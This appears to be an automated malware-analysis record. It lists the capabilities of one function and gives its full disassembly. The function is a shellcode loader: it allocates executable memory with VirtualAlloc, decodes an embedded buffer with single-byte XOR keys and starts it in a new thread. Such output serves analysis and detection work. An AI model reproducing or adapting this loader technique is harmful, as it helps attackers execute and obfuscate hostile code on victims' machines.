Function at 0x1400016e0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x7a8
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp + 0x360]
lea rdx, [0x14000b008]
mov ecx, 0x72
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0x71c], 0
mov dword [rbp + 0x718], 0
jmp 0x1400017ae
mov eax, dword [rbp + 0x718]
cdqe
movzx eax, byte [rbp + rax + 0x360]
cmp al, 0xff
je 0x1400017a7
mov eax, dword [rbp + 0x718]
cdqe
movzx edx, byte [rbp + rax + 0x360]
mov eax, dword [rbp + 0x71c]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x71c], 1
mov eax, dword [rbp + 0x718]
cdqe
movzx eax, byte [rbp + rax - 0x40]
movzx eax, al
mov edx, eax
lea rax, section..rdata
mov rcx, rax
call dbg.printf(char const*, ::)
add dword [rbp + 0x718], 1
mov eax, dword [rbp + 0x718]
movsxd rbx, eax
lea rax, [rbp + 0x360]
mov rcx, rax
call sym.strlen
cmp rbx, rax
jb 0x14000174f
mov dword [rbp + 0x714], 0
jmp 0x1400017ff
mov eax, dword [rbp + 0x714]
cdqe
movzx eax, byte [rbp + rax - 0x40]
movzx eax, al
mov edx, eax
lea rax, [0x14000b003]
mov rcx, rax
call dbg.printf(char const*, ::)
add dword [rbp + 0x714], 1
mov eax, dword [rbp + 0x714]
movsxd rbx, eax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.strlen
cmp rbx, rax
jb 0x1400017d7
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x396
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov rdx, rax
lea rax, [rbp - 0x40]
mov ecx, 0x396
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov byte [rbp + 0x707], 0x22
mov byte [rbp + 0x706], 0xb
movsx eax, byte [rbp + 0x707]
lea edx, [rax + 0x62]
movsxd rax, edx
imul rax, rax, 0x7e07e07f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov ecx, eax
shl ecx, 6
add ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x705], al
movzx eax, byte [rbp + 0x705]
mov byte [rbp + 0x704], al
mov dword [rbp + 0x710], 0
jmp 0x140001938
mov eax, dword [rbp + 0x710]
movsxd rdx, eax
mov rax, qword [rbp + 0x708]
add rax, rdx
movzx eax, byte [rax]
xor al, byte [rbp + 0x706]
xor al, byte [rbp + 0x707]
mov edx, dword [rbp + 0x710]
movsxd rcx, edx
mov rdx, qword [rbp + 0x708]
add rdx, rcx
xor al, byte [rbp + 0x704]
mov byte [rdx], al
add dword [rbp + 0x710], 1
mov eax, dword [rbp + 0x710]
cdqe
cmp rax, 0x395
jbe 0x1400018f4
mov rdx, qword [rbp + 0x708]
lea rax, [rbp - 0x44]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0x7a8
pop rbx
pop rsi
pop rdi
pop rbp
ret